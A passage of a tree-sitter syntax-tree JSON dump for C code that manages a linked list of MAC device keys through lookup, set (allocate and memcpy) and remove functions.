dev->key_list.next", "parent": 269, "children": [271, 272, 273], "start_point": {"row": 112, "column": 9}, "end_point": {"row": 112, "column": 33}}, {"id": 271, "type": "identifier", "text": "ptr", "parent": 270, "children": [], "start_point": {"row": 112, "column": 9}, "end_point": {"row": 112, "column": 12}}, {"id": 272, "type": "=", "text": "=", "parent": 270, "children": [], "start_point": {"row": 112, "column": 13}, "end_point": {"row": 112, "column": 14}}, {"id": 273, "type": "field_expression", "text": "dev->key_list.next", "parent": 270, "children": [274, 277], "start_point": {"row": 112, "column": 15}, "end_point": {"row": 112, "column": 33}}, {"id": 274, "type": "field_expression", "text": "dev->key_list", "parent": 273, "children": [275, 276], "start_point": {"row": 112, "column": 15}, "end_point": {"row": 112, "column": 28}}, {"id": 275, "type": "identifier", "text": "dev", "parent": 274, "children": [], "start_point": {"row": 112, "column": 15}, "end_point": {"row": 112, "column": 18}}, {"id": 276, "type": "field_identifier", "text": "key_list", "parent": 274, "children": [], "start_point": {"row": 112, "column": 20}, "end_point": {"row": 112, "column": 28}}, {"id": 277, "type": "field_identifier", "text": "next", "parent": 273, "children": [], "start_point": {"row": 112, "column": 29}, "end_point": {"row": 112, "column": 33}}, {"id": 278, "type": "binary_expression", "text": "ptr != &dev->key_list", "parent": 269, "children": [279, 280, 281], "start_point": {"row": 113, "column": 9}, "end_point": {"row": 113, "column": 30}}, {"id": 279, "type": "identifier", "text": "ptr", "parent": 278, "children": [], "start_point": {"row": 113, "column": 9}, "end_point": {"row": 113, "column": 12}}, {"id": 280, "type": "!=", "text": "!=", "parent": 278, "children": [], "start_point": {"row": 113, "column": 13}, "end_point": {"row": 113, "column": 15}}, {"id": 281, "type": "pointer_expression", "text": "&dev->key_list", "parent": 278, "children": [282], "start_point": {"row": 113, "column": 16}, "end_point": {"row": 113, "column": 30}}, {"id": 282, "type": "field_expression", "text": "dev->key_list", "parent": 281, "children": [283, 284], "start_point": {"row": 113, "column": 17}, "end_point": {"row": 113, "column": 30}}, {"id": 283, "type": "identifier", "text": "dev", "parent": 282, "children": [], "start_point": {"row": 113, "column": 17}, "end_point": {"row": 113, "column": 20}}, {"id": 284, "type": "field_identifier", "text": "key_list", "parent": 282, "children": [], "start_point": {"row": 113, "column": 22}, "end_point": {"row": 113, "column": 30}}, {"id": 285, "type": "assignment_expression", "text": "ptr = ptr->next", "parent": 269, "children": [286, 287, 288], "start_point": {"row": 114, "column": 9}, "end_point": {"row": 114, "column": 24}}, {"id": 286, "type": "identifier", "text": "ptr", "parent": 285, "children": [], "start_point": {"row": 114, "column": 9}, "end_point": {"row": 114, "column": 12}}, {"id": 287, "type": "=", "text": "=", "parent": 285, "children": [], "start_point": {"row": 114, "column": 13}, "end_point": {"row": 114, "column": 14}}, {"id": 288, "type": "field_expression", "text": "ptr->next", "parent": 285, "children": [289, 290], "start_point": {"row": 114, "column": 15}, "end_point": {"row": 114, "column": 24}}, {"id": 289, "type": "identifier", "text": "ptr", "parent": 288, "children": [], "start_point": {"row": 114, "column": 15}, "end_point": {"row": 114, "column": 18}}, {"id": 290, "type": "field_identifier", "text": "next", "parent": 288, "children": [], "start_point": {"row": 114, "column": 20}, "end_point": {"row": 114, "column": 24}}, {"id": 291, "type": "assignment_expression", "text": "key = ws_list_get_data(ptr, mac_key_t, list)", "parent": 269, "children": [292, 293, 294], "start_point": {"row": 116, "column": 8}, "end_point": {"row": 116, "column": 52}}, {"id": 292, "type": "identifier", "text": "key", "parent": 291, "children": [], "start_point": {"row": 116, "column": 8}, "end_point": {"row": 116, "column": 11}}, {"id": 293, "type": "=", "text": "=", "parent": 291, "children": [], "start_point": {"row": 116, "column": 12}, "end_point": {"row": 116, "column": 13}}, {"id": 294, "type": "call_expression", "text": "ws_list_get_data(ptr, mac_key_t, list)", "parent": 291, "children": [295, 296], "start_point": {"row": 116, "column": 14}, "end_point": {"row": 116, "column": 52}}, {"id": 295, "type": "identifier", "text": "ws_list_get_data", "parent": 294, "children": [], "start_point": {"row": 116, "column": 14}, "end_point": {"row": 116, "column": 30}}, {"id": 296, "type": "argument_list", "text": "(ptr, mac_key_t, list)", "parent": 294, "children": [297, 298, 299], "start_point": {"row": 116, "column": 30}, "end_point": {"row": 116, "column": 52}}, {"id": 297, "type": "identifier", "text": "ptr", "parent": 296, "children": [], "start_point": {"row": 116, "column": 31}, "end_point": {"row": 116, "column": 34}}, {"id": 298, "type": "identifier", "text": "mac_key_t", "parent": 296, "children": [], "start_point": {"row": 116, "column": 36}, "end_point": {"row": 116, "column": 45}}, {"id": 299, "type": "identifier", "text": "list", "parent": 296, "children": [], "start_point": {"row": 116, "column": 47}, "end_point": {"row": 116, "column": 51}}, {"id": 300, "type": "if_statement", "text": "if (key->index == index)\n return key;", "parent": 269, "children": [301, 308], "start_point": {"row": 117, "column": 8}, "end_point": {"row": 118, "column": 23}}, {"id": 301, "type": "parenthesized_expression", "text": "(key->index == index)", "parent": 300, "children": [302], "start_point": {"row": 117, "column": 11}, "end_point": {"row": 117, "column": 32}}, {"id": 302, "type": "binary_expression", "text": "key->index == index", "parent": 301, "children": [303, 306, 307], "start_point": {"row": 117, "column": 12}, "end_point": {"row": 117, "column": 31}}, {"id": 303, "type": "field_expression", "text": "key->index", "parent": 302, "children": [304, 305], "start_point": {"row": 117, "column": 12}, "end_point": {"row": 117, "column": 22}}, {"id": 304, "type": "identifier", "text": "key", "parent": 303, "children": [], "start_point": {"row": 117, "column": 12}, "end_point": {"row": 117, "column": 15}}, {"id": 305, "type": "field_identifier", "text": "index", "parent": 303, "children": [], "start_point": {"row": 117, "column": 17}, "end_point": {"row": 117, "column": 22}}, {"id": 306, "type": "==", "text": "==", "parent": 302, "children": [], "start_point": {"row": 117, "column": 23}, "end_point": {"row": 117, "column": 25}}, {"id": 307, "type": "identifier", "text": "index", "parent": 302, "children": [], "start_point": {"row": 117, "column": 26}, "end_point": {"row": 117, "column": 31}}, {"id": 308, "type": "return_statement", "text": "return key;", "parent": 300, "children": [309], "start_point": {"row": 118, "column": 12}, "end_point": {"row": 118, "column": 23}}, {"id": 309, "type": "identifier", "text": "key", "parent": 308, "children": [], "start_point": {"row": 118, "column": 19}, "end_point": {"row": 118, "column": 22}}, {"id": 310, "type": "return_statement", "text": "return NULL;", "parent": 244, "children": [311], "start_point": {"row": 121, "column": 4}, "end_point": {"row": 121, "column": 16}}, {"id": 311, "type": "null", "text": "NULL", "parent": 310, "children": [312], "start_point": {"row": 121, "column": 11}, "end_point": {"row": 121, "column": 15}}, {"id": 312, "type": "NULL", "text": "NULL", "parent": 311, "children": [], "start_point": {"row": 121, "column": 11}, "end_point": {"row": 121, "column": 15}}, {"id": 313, "type": "function_definition", "text": "void\nmac_device_set_key(mac_device_t *dev, uint8_t index, uint8_t *key)\n{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG(\"updating existing key (%u)\\n\", index);\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n }\n else\n {\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR(\"failed to allocate memory for new key\\n\");\n return;\n }\n\n WS_DEBUG(\"adding new key (%u)\\n\", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }\n}", "parent": null, "children": [314, 315], "start_point": {"row": 125, "column": 0}, "end_point": {"row": 150, "column": 1}}, {"id": 314, "type": "primitive_type", "text": "void", "parent": 313, "children": [], "start_point": {"row": 125, "column": 0}, "end_point": {"row": 125, "column": 4}}, {"id": 315, "type": "function_declarator", "text": "mac_device_set_key(mac_device_t *dev, uint8_t index, uint8_t *key)", "parent": 313, "children": [316, 317], "start_point": {"row": 126, "column": 0}, "end_point": {"row": 126, "column": 66}}, {"id": 316, "type": "identifier", "text": "mac_device_set_key", "parent": 315, "children": [], "start_point": {"row": 126, "column": 0}, "end_point": {"row": 126, "column": 18}}, {"id": 317, "type": "parameter_list", "text": "(mac_device_t *dev, uint8_t index, uint8_t *key)", "parent": 315, "children": [318, 323, 326], "start_point": {"row": 126, "column": 18}, "end_point": {"row": 126, "column": 66}}, {"id": 318, "type": "parameter_declaration", "text": "mac_device_t *dev", "parent": 317, "children": [319, 320], "start_point": {"row": 126, "column": 19}, "end_point": {"row": 126, "column": 36}}, {"id": 319, "type": "type_identifier", "text": "mac_device_t", "parent": 318, "children": [], "start_point": {"row": 126, "column": 19}, "end_point": {"row": 126, "column": 31}}, {"id": 320, "type": "pointer_declarator", "text": "*dev", "parent": 318, "children": [321, 322], "start_point": {"row": 126, "column": 32}, "end_point": {"row": 126, "column": 36}}, {"id": 321, "type": "*", "text": "*", "parent": 320, "children": [], "start_point": {"row": 126, "column": 32}, "end_point": {"row": 126, "column": 33}}, {"id": 322, "type": "identifier", "text": "dev", "parent": 320, "children": [], "start_point": {"row": 126, "column": 33}, "end_point": {"row": 126, "column": 36}}, {"id": 323, "type": "parameter_declaration", "text": "uint8_t index", "parent": 317, "children": [324, 325], "start_point": {"row": 126, "column": 38}, "end_point": {"row": 126, "column": 51}}, {"id": 324, "type": "primitive_type", "text": "uint8_t", "parent": 323, "children": [], "start_point": {"row": 126, "column": 38}, "end_point": {"row": 126, "column": 45}}, {"id": 325, "type": "identifier", "text": "index", "parent": 323, "children": [], "start_point": {"row": 126, "column": 46}, "end_point": {"row": 126, "column": 51}}, {"id": 326, "type": "parameter_declaration", "text": "uint8_t *key", "parent": 317, "children": [327, 328], "start_point": {"row": 126, "column": 53}, "end_point": {"row": 126, "column": 65}}, {"id": 327, "type": "primitive_type", "text": "uint8_t", "parent": 326, "children": [], "start_point": {"row": 126, "column": 53}, "end_point": {"row": 126, "column": 60}}, {"id": 328, "type": "pointer_declarator", "text": "*key", "parent": 326, "children": [329, 330], "start_point": {"row": 126, "column": 61}, "end_point": {"row": 126, "column": 65}}, {"id": 329, "type": "*", "text": "*", "parent": 328, "children": [], "start_point": {"row": 126, "column": 61}, "end_point": {"row": 126, "column": 62}}, {"id": 330, "type": "identifier", "text": "key", "parent": 328, "children": [], "start_point": {"row": 126, "column": 62}, "end_point": {"row": 126, "column": 65}}, {"id": 331, "type": "declaration", "text": "mac_key_t *k = mac_device_get_key(dev, index);", "parent": 313, "children": [332, 333], "start_point": {"row": 128, "column": 4}, "end_point": {"row": 128, "column": 50}}, {"id": 332, "type": "type_identifier", "text": "mac_key_t", "parent": 331, "children": [], "start_point": {"row": 128, "column": 4}, "end_point": {"row": 128, "column": 13}}, {"id": 333, "type": "init_declarator", "text": "*k = mac_device_get_key(dev, index)", "parent": 331, "children": [334, 337, 338], "start_point": {"row": 128, "column": 14}, "end_point": {"row": 128, "column": 49}}, {"id": 334, "type": "pointer_declarator", "text": "*k", "parent": 333, "children": [335, 336], "start_point": {"row": 128, "column": 14}, "end_point": {"row": 128, "column": 16}}, {"id": 335, "type": "*", "text": "*", "parent": 334, "children": [], "start_point": {"row": 128, "column": 14}, "end_point": {"row": 128, "column": 15}}, {"id": 336, "type": "identifier", "text": "k", "parent": 334, "children": [], "start_point": {"row": 128, "column": 15}, "end_point": {"row": 128, "column": 16}}, {"id": 337, "type": "=", "text": "=", "parent": 333, "children": [], "start_point": {"row": 128, "column": 17}, "end_point": {"row": 128, "column": 18}}, {"id": 338, "type": "call_expression", "text": "mac_device_get_key(dev, index)", "parent": 333, "children": [339, 340], "start_point": {"row": 128, "column": 19}, "end_point": {"row": 128, "column": 49}}, {"id": 339, "type": "identifier", "text": "mac_device_get_key", "parent": 338, "children": [], "start_point": {"row": 128, "column": 19}, "end_point": {"row": 128, "column": 37}}, {"id": 340, "type": "argument_list", "text": "(dev, index)", "parent": 338, "children": [341, 342], "start_point": {"row": 128, "column": 37}, "end_point": {"row": 128, "column": 49}}, {"id": 341, "type": "identifier", "text": "dev", "parent": 340, "children": [], "start_point": {"row": 128, "column": 38}, "end_point": {"row": 128, "column": 41}}, {"id": 342, "type": "identifier", "text": "index", "parent": 340, "children": [], "start_point": {"row": 128, "column": 43}, "end_point": {"row": 128, "column": 48}}, {"id": 343, "type": "if_statement", "text": "if (k != NULL)\n {\n WS_DEBUG(\"updating existing key (%u)\\n\", index);\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n }\n else\n {\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR(\"failed to allocate memory for new key\\n\");\n return;\n }\n\n WS_DEBUG(\"adding new key (%u)\\n\", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }", "parent": 313, "children": [344, 370], "start_point": {"row": 129, "column": 4}, "end_point": {"row": 149, "column": 5}}, {"id": 344, "type": "parenthesized_expression", "text": "(k != NULL)", "parent": 343, "children": [345], "start_point": {"row": 129, "column": 7}, "end_point": {"row": 129, "column": 18}}, {"id": 345, "type": "binary_expression", "text": "k != NULL", "parent": 344, "children": [346, 347, 348], "start_point": {"row": 129, "column": 8}, "end_point": {"row": 129, "column": 17}}, {"id": 346, "type": "identifier", "text": "k", "parent": 345, "children": [], "start_point": {"row": 129, "column": 8}, "end_point": {"row": 129, "column": 9}}, {"id": 347, "type": "!=", "text": "!=", "parent": 345, "children": [], "start_point": {"row": 129, "column": 10}, "end_point": {"row": 129, "column": 12}}, {"id": 348, "type": "null", "text": "NULL", "parent": 345, "children": [349], "start_point": {"row": 129, "column": 13}, "end_point": {"row": 129, "column": 17}}, {"id": 349, "type": "NULL", "text": "NULL", "parent": 348, "children": [], "start_point": {"row": 129, "column": 13}, "end_point": {"row": 129, "column": 17}}, {"id": 350, "type": "call_expression", "text": "WS_DEBUG(\"updating existing key (%u)\\n\", index)", "parent": 343, "children": [351, 352], "start_point": {"row": 131, "column": 8}, "end_point": {"row": 131, "column": 55}}, {"id": 351, "type": "identifier", "text": "WS_DEBUG", "parent": 350, "children": [], "start_point": {"row": 131, "column": 8}, "end_point": {"row": 131, "column": 16}}, {"id": 352, "type": "argument_list", "text": "(\"updating existing key (%u)\\n\", index)", "parent": 350, "children": [353, 355], "start_point": {"row": 131, "column": 16}, "end_point": {"row": 131, "column": 55}}, {"id": 353, "type": "string_literal", "text": "\"updating existing key (%u)\\n\"", "parent": 352, "children": [354], "start_point": {"row": 131, "column": 17}, "end_point": {"row": 131, "column": 47}}, {"id": 354, "type": "escape_sequence", "text": "\\n", "parent": 353, "children": [], "start_point": {"row": 131, "column": 44}, "end_point": {"row": 131, "column": 46}}, {"id": 355, "type": "identifier", "text": "index", "parent": 352, "children": [], "start_point": {"row": 131, "column": 49}, "end_point": {"row": 131, "column": 54}}, {"id": 356, "type": "call_expression", "text": "memcpy(k->key, key, WS_MAC_KEY_LEN)", "parent": 343, "children": [357, 358], "start_point": {"row": 132, "column": 8}, "end_point": {"row": 132, "column": 43}}, {"id": 357, "type": "identifier", "text": "memcpy", "parent": 356, "children": [], "start_point": {"row": 132, "column": 8}, "end_point": {"row": 132, "column": 14}}, {"id": 358, "type": "argument_list", "text": "(k->key, key, WS_MAC_KEY_LEN)", "parent": 356, "children": [359, 362, 363], "start_point": {"row": 132, "column": 14}, "end_point": {"row": 132, "column": 43}}, {"id": 359, "type": "field_expression", "text": "k->key", "parent": 358, "children": [360, 361], "start_point": {"row": 132, "column": 15}, "end_point": {"row": 132, "column": 21}}, {"id": 360, "type": "identifier", "text": "k", "parent": 359, "children": [], "start_point": {"row": 132, "column": 15}, "end_point": {"row": 132, "column": 16}}, {"id": 361, "type": "field_identifier", "text": "key", "parent": 359, "children": [], "start_point": {"row": 132, "column": 18}, "end_point": {"row": 132, "column": 21}}, {"id": 362, "type": "identifier", "text": "key", "parent": 358, "children": [], "start_point": {"row": 132, "column": 23}, "end_point": {"row": 132, "column": 26}}, {"id": 363, "type": "identifier", "text": "WS_MAC_KEY_LEN", "parent": 358, "children": [], "start_point": {"row": 132, "column": 28}, "end_point": {"row": 132, "column": 42}}, {"id": 364, "type": "assignment_expression", "text": "k->index = index", "parent": 343, "children": [365, 368, 369], "start_point": {"row": 133, "column": 8}, "end_point": {"row": 133, "column": 24}}, {"id": 365, "type": "field_expression", "text": "k->index", "parent": 364, "children": [366, 367], "start_point": {"row": 133, "column": 8}, "end_point": {"row": 133, "column": 16}}, {"id": 366, "type": "identifier", "text": "k", "parent": 365, "children": [], "start_point": {"row": 133, "column": 8}, "end_point": {"row": 133, "column": 9}}, {"id": 367, "type": "field_identifier", "text": "index", "parent": 365, "children": [], "start_point": {"row": 133, "column": 11}, "end_point": {"row": 133, "column": 16}}, {"id": 368, "type": "=", "text": "=", "parent": 364, "children": [], "start_point": {"row": 133, "column": 17}, "end_point": {"row": 133, "column": 18}}, {"id": 369, "type": "identifier", "text": "index", "parent": 364, "children": [], "start_point": {"row": 133, "column": 19}, "end_point": {"row": 133, "column": 24}}, {"id": 370, "type": "else_clause", "text": "else\n {\n k = (mac_key_t *)MALLOC(sizeof(mac_key_t));\n if (k == NULL)\n {\n WS_ERROR(\"failed to allocate memory for new key\\n\");\n return;\n }\n\n WS_DEBUG(\"adding new key (%u)\\n\", index);\n\n memcpy(k->key, key, WS_MAC_KEY_LEN);\n k->index = index;\n ws_list_add_after(&dev->key_list, &k->list);\n }", "parent": 343, "children": [], "start_point": {"row": 135, "column": 4}, "end_point": {"row": 149, "column": 5}}, {"id": 371, "type": "assignment_expression", "text": "k = (mac_key_t *)MALLOC(sizeof(mac_key_t))", "parent": 370, "children": [372, 373, 374], "start_point": {"row": 137, "column": 8}, "end_point": {"row": 137, "column": 50}}, {"id": 372, "type": "identifier", "text": "k", "parent": 371, "children": [], "start_point": {"row": 137, "column": 8}, "end_point": {"row": 137, "column": 9}}, {"id": 373, "type": "=", "text": "=", "parent": 371, "children": [], "start_point": {"row": 137, "column": 10}, "end_point": {"row": 137, "column": 11}}, {"id": 374, "type": "cast_expression", "text": "(mac_key_t *)MALLOC(sizeof(mac_key_t))", "parent": 371, "children": [375, 379], "start_point": {"row": 137, "column": 12}, "end_point": {"row": 137, "column": 50}}, {"id": 375, "type": "type_descriptor", "text": "mac_key_t *", "parent": 374, "children": [376, 377], "start_point": {"row": 137, "column": 13}, "end_point": {"row": 137, "column": 24}}, {"id": 376, "type": "type_identifier", "text": "mac_key_t", "parent": 375, "children": [], "start_point": {"row": 137, "column": 13}, "end_point": {"row": 137, "column": 22}}, {"id": 377, "type": "abstract_pointer_declarator", "text": "*", "parent": 375, "children": [378], "start_point": {"row": 137, "column": 23}, "end_point": {"row": 137, "column": 24}}, {"id": 378, "type": "*", "text": "*", "parent": 377, "children": [], "start_point": {"row": 137, "column": 23}, "end_point": {"row": 137, "column": 24}}, {"id": 379, "type": "call_expression", "text": "MALLOC(sizeof(mac_key_t))", "parent": 374, "children": [380, 381], "start_point": {"row": 137, "column": 25}, "end_point": {"row": 137, "column": 50}}, {"id": 380, "type": "identifier", "text": "MALLOC", "parent": 379, "children": [], "start_point": {"row": 137, "column": 25}, "end_point": {"row": 137, "column": 31}}, {"id": 381, "type": "argument_list", "text": "(sizeof(mac_key_t))", "parent": 379, "children": [382], "start_point": {"row": 137, "column": 31}, "end_point": {"row": 137, "column": 50}}, {"id": 382, "type": "sizeof_expression", "text": "sizeof(mac_key_t)", "parent": 381, "children": [383], "start_point": {"row": 137, "column": 32}, "end_point": {"row": 137, "column": 49}}, {"id": 383, "type": "parenthesized_expression", "text": "(mac_key_t)", "parent": 382, "children": [384], "start_point": {"row": 137, "column": 38}, "end_point": {"row": 137, "column": 49}}, {"id": 384, "type": "identifier", "text": "mac_key_t", "parent": 383, "children": [], "start_point": {"row": 137, "column": 39}, "end_point": {"row": 137, "column": 48}}, {"id": 385, "type": "if_statement", "text": "if (k == NULL)\n {\n WS_ERROR(\"failed to allocate memory for new key\\n\");\n return;\n }", "parent": 370, "children": [386], "start_point": {"row": 138, "column": 8}, "end_point": {"row": 142, "column": 9}}, {"id": 386, "type": "parenthesized_expression", "text": "(k == NULL)", "parent": 385, "children": [387], "start_point": {"row": 138, "column": 11}, "end_point": {"row": 138, "column": 22}}, {"id": 387, "type": "binary_expression", "text": "k == NULL", "parent": 386, "children": [388, 389, 390], "start_point": {"row": 138, "column": 12}, "end_point": {"row": 138, "column": 21}}, {"id": 388, "type": "identifier", "text": "k", "parent": 387, "children": [], "start_point": {"row": 138, "column": 12}, "end_point": {"row": 138, "column": 13}}, {"id": 389, "type": "==", "text": "==", "parent": 387, "children": [], "start_point": {"row": 138, "column": 14}, "end_point": {"row": 138, "column": 16}}, {"id": 390, "type": "null", "text": "NULL", "parent": 387, "children": [391], "start_point": {"row": 138, "column": 17}, "end_point": {"row": 138, "column": 21}}, {"id": 391, "type": "NULL", "text": "NULL", "parent": 390, "children": [], "start_point": {"row": 138, "column": 17}, "end_point": {"row": 138, "column": 21}}, {"id": 392, "type": "call_expression", "text": "WS_ERROR(\"failed to allocate memory for new key\\n\")", "parent": 385, "children": [393, 394], "start_point": {"row": 140, "column": 12}, "end_point": {"row": 140, "column": 63}}, {"id": 393, "type": "identifier", "text": "WS_ERROR", "parent": 392, "children": [], "start_point": {"row": 140, "column": 12}, "end_point": {"row": 140, "column": 20}}, {"id": 394, "type": "argument_list", "text": "(\"failed to allocate memory for new key\\n\")", "parent": 392, "children": [395], "start_point": {"row": 140, "column": 20}, "end_point": {"row": 140, "column": 63}}, {"id": 395, "type": "string_literal", "text": "\"failed to allocate memory for new key\\n\"", "parent": 394, "children": [396], "start_point": {"row": 140, "column": 21}, "end_point": {"row": 140, "column": 62}}, {"id": 396, "type": "escape_sequence", "text": "\\n", "parent": 395, "children": [], "start_point": {"row": 140, "column": 59}, "end_point": {"row": 140, "column": 61}}, {"id": 397, "type": "return_statement", "text": "return;", "parent": 385, "children": [], "start_point": {"row": 141, "column": 12}, "end_point": {"row": 141, "column": 19}}, {"id": 398, "type": "call_expression", "text": "WS_DEBUG(\"adding new key (%u)\\n\", index)", "parent": 370, "children": [399, 400], "start_point": {"row": 144, "column": 8}, "end_point": {"row": 144, "column": 48}}, {"id": 399, "type": "identifier", "text": "WS_DEBUG", "parent": 398, "children": [], "start_point": {"row": 144, "column": 8}, "end_point": {"row": 144, "column": 16}}, {"id": 400, "type": "argument_list", "text": "(\"adding new key (%u)\\n\", index)", "parent": 398, "children": [401, 403], "start_point": {"row": 144, "column": 16}, "end_point": {"row": 144, "column": 48}}, {"id": 401, "type": "string_literal", "text": "\"adding new key (%u)\\n\"", "parent": 400, "children": [402], "start_point": {"row": 144, "column": 17}, "end_point": {"row": 144, "column": 40}}, {"id": 402, "type": "escape_sequence", "text": "\\n", "parent": 401, "children": [], "start_point": {"row": 144, "column": 37}, "end_point": {"row": 144, "column": 39}}, {"id": 403, "type": "identifier", "text": "index", "parent": 400, "children": [], "start_point": {"row": 144, "column": 42}, "end_point": {"row": 144, "column": 47}}, {"id": 404, "type": "call_expression", "text": "memcpy(k->key, key, WS_MAC_KEY_LEN)", "parent": 370, "children": [405, 406], "start_point": {"row": 146, "column": 8}, "end_point": {"row": 146, "column": 43}}, {"id": 405, "type": "identifier", "text": "memcpy", "parent": 404, "children": [], "start_point": {"row": 146, "column": 8}, "end_point": {"row": 146, "column": 14}}, {"id": 406, "type": "argument_list", "text": "(k->key, key, WS_MAC_KEY_LEN)", "parent": 404, "children": [407, 410, 411], "start_point": {"row": 146, "column": 14}, "end_point": {"row": 146, "column": 43}}, {"id": 407, "type": "field_expression", "text": "k->key", "parent": 406, "children": [408, 409], "start_point": {"row": 146, "column": 15}, "end_point": {"row": 146, "column": 21}}, {"id": 408, "type": "identifier", "text": "k", "parent": 407, "children": [], "start_point": {"row": 146, "column": 15}, "end_point": {"row": 146, "column": 16}}, {"id": 409, "type": "field_identifier", "text": "key", "parent": 407, "children": [], "start_point": {"row": 146, "column": 18}, "end_point": {"row": 146, "column": 21}}, {"id": 410, "type": "identifier", "text": "key", "parent": 406, "children": [], "start_point": {"row": 146, "column": 23}, "end_point": {"row": 146, "column": 26}}, {"id": 411, "type": "identifier", "text": "WS_MAC_KEY_LEN", "parent": 406, "children": [], "start_point": {"row": 146, "column": 28}, "end_point": {"row": 146, "column": 42}}, {"id": 412, "type": "assignment_expression", "text": "k->index = index", "parent": 370, "children": [413, 416, 417], "start_point": {"row": 147, "column": 8}, "end_point": {"row": 147, "column": 24}}, {"id": 413, "type": "field_expression", "text": "k->index", "parent": 412, "children": [414, 415], "start_point": {"row": 147, "column": 8}, "end_point": {"row": 147, "column": 16}}, {"id": 414, "type": "identifier", "text": "k", "parent": 413, "children": [], "start_point": {"row": 147, "column": 8}, "end_point": {"row": 147, "column": 9}}, {"id": 415, "type": "field_identifier", "text": "index", "parent": 413, "children": [], "start_point": {"row": 147, "column": 11}, "end_point": {"row": 147, "column": 16}}, {"id": 416, "type": "=", "text": "=", "parent": 412, "children": [], "start_point": {"row": 147, "column": 17}, "end_point": {"row": 147, "column": 18}}, {"id": 417, "type": "identifier", "text": "index", "parent": 412, "children": [], "start_point": {"row": 147, "column": 19}, "end_point": {"row": 147, "column": 24}}, {"id": 418, "type": "call_expression", "text": "ws_list_add_after(&dev->key_list, &k->list)", "parent": 370, "children": [419, 420], "start_point": {"row": 148, "column": 8}, "end_point": {"row": 148, "column": 51}}, {"id": 419, "type": "identifier", "text": "ws_list_add_after", "parent": 418, "children": [], "start_point": {"row": 148, "column": 8}, "end_point": {"row": 148, "column": 25}}, {"id": 420, "type": "argument_list", "text": "(&dev->key_list, &k->list)", "parent": 418, "children": [421, 425], "start_point": {"row": 148, "column": 25}, "end_point": {"row": 148, "column": 51}}, {"id": 421, "type": "pointer_expression", "text": "&dev->key_list", "parent": 420, "children": [422], "start_point": {"row": 148, "column": 26}, "end_point": {"row": 148, "column": 40}}, {"id": 422, "type": "field_expression", "text": "dev->key_list", "parent": 421, "children": [423, 424], "start_point": {"row": 148, "column": 27}, "end_point": {"row": 148, "column": 40}}, {"id": 423, "type": "identifier", "text": "dev", "parent": 422, "children": [], "start_point": {"row": 148, "column": 27}, "end_point": {"row": 148, "column": 30}}, {"id": 424, "type": "field_identifier", "text": "key_list", "parent": 422, "children": [], "start_point": {"row": 148, "column": 32}, "end_point": {"row": 148, "column": 40}}, {"id": 425, "type": "pointer_expression", "text": "&k->list", "parent": 420, "children": [426], "start_point": {"row": 148, "column": 42}, "end_point": {"row": 148, "column": 50}}, {"id": 426, "type": "field_expression", "text": "k->list", "parent": 425, "children": [427, 428], "start_point": {"row": 148, "column": 43}, "end_point": {"row": 148, "column": 50}}, {"id": 427, "type": "identifier", "text": "k", "parent": 426, "children": [], "start_point": {"row": 148, "column": 43}, "end_point": {"row": 148, "column": 44}}, {"id": 428, "type": "field_identifier", "text": "list", "parent": 426, "children": [], "start_point": {"row": 148, "column": 46}, "end_point": {"row": 148, "column": 50}}, {"id": 429, "type": "function_definition", "text": "void\nmac_device_remove_key(mac_device_t *dev, uint8_t index)\n{\n mac_key_t *k = mac_device_get_key(dev, index);\n if (k != NULL)\n {\n WS_DEBUG(\"removing key (%u)\\n\", index);\n ws_list_remove(&k->list);\n FREE(k);\n }\n else\n {\n WS_WARN(\"no key (%u) to remove\\n\", index);\n }\n}", "parent": null, "children": [430, 431], "start_point": {"row": 153, "column": 0}, "end_point": {"row": 167, "column": 1}}, {"id": 430, "type": "primitive_type", "text": "void", "parent": 429, "children": [], "start_point": {"row": 153, "column": 0}, "end_point": {"row": 153, "column": 4}}, {"id": 431, "type": "function_declarator", "text": "mac_device_remove_key(mac_device_t *dev, uint8_t index)", "parent": 429, "children": [432, 433], "start_point": {"row": 154, "column": 0}, "end_point": {"row": 154, "column": 55}}, {"id": 432, "type": "identifier", "text": "mac_device_remove_key", "parent": 431, "children": [], "start_point": {"row": 154, "column": 0}, "end_point": {"row": 154, "column": 21}}, {"id": 433, "type": "parameter_list", "text": "(mac_device_t *dev, uint8_t index)", "parent": 431, "children": [434, 439], "start_point": {"row": 154, "column": 21}, "end_point": {"row": 154, "column": 55}}, {"id": 434, "type": "parameter_declaration", "text": "mac_device_t *dev", "parent": 433, "children": [435, 436], "start_point": {"row": 154, "column": 22}, "end_point": {"row": 154, "column": 39}}, {"id": 435, "type": "type_identifier", "text": "mac_device_t", "parent": 434, "children": [], "start_point": {"row": 154, "column": 22}, "end_point": {"row": 154, "column": 34}}, {"id": 436, "type": "pointer_declarator", "text": "*dev", "parent": 434, "children": [437, 438], "start_point": {"row": 154, "column": 35}, "end_point": {"row": 154, "column": 39}}, {"id": 437, "type": "*", "text": "*", "parent": 436, "children": [], "start_point": {"row": 154, "column": 35}, "end_point": {"row": 154, "column": 36}}, {"id": 438, "type": "identifier", "text": "dev", "parent": 436, "children": [], "start_point": {"row": 154, "column": 36}, "end_point": {"row": 154, "column": 39}}, {"id": 439, "type": "parameter_declaration", "text": "uint8_t index", "parent": 433, "children": [440, 441], "start_point": {"row": 154, "column": 41}, "end_point": {"row": 154, "column": 54}}, {"id": 440, "type": "primitive_type", "text": "uint8_t", "parent": 439, "children": [], "start_point": {"row": 154, "column": 41}, "end_point": {"row": 154, "column": 48}}, {"id": 441, "type": "identifier", "text": "index", "parent": 439, "children": [], "start_point": {"row": 154, "column": 49}, "end_point": {"row": 154, "column": 54}}, {"id": 442, "type": "declaration", "text": "mac_key_t *k = mac_device_get_key(dev, index);", "parent": 429, "children": [443, 444], "start_point": {"row": 156, "column": 4}, "end_point": {"row": 156, "column": 50}}, {"id": 443, "type": "type_identifier", "text": "mac_key_t", "parent": 442, "children": [], "start_point": {"row": 156, "column": 4}, "end_point": {"row": 156, "column": 13}}, {"id": 444, "type": "init_declarator", "text": "*k = mac_device_get_key(dev, index)", "parent": 442, "children": [445, 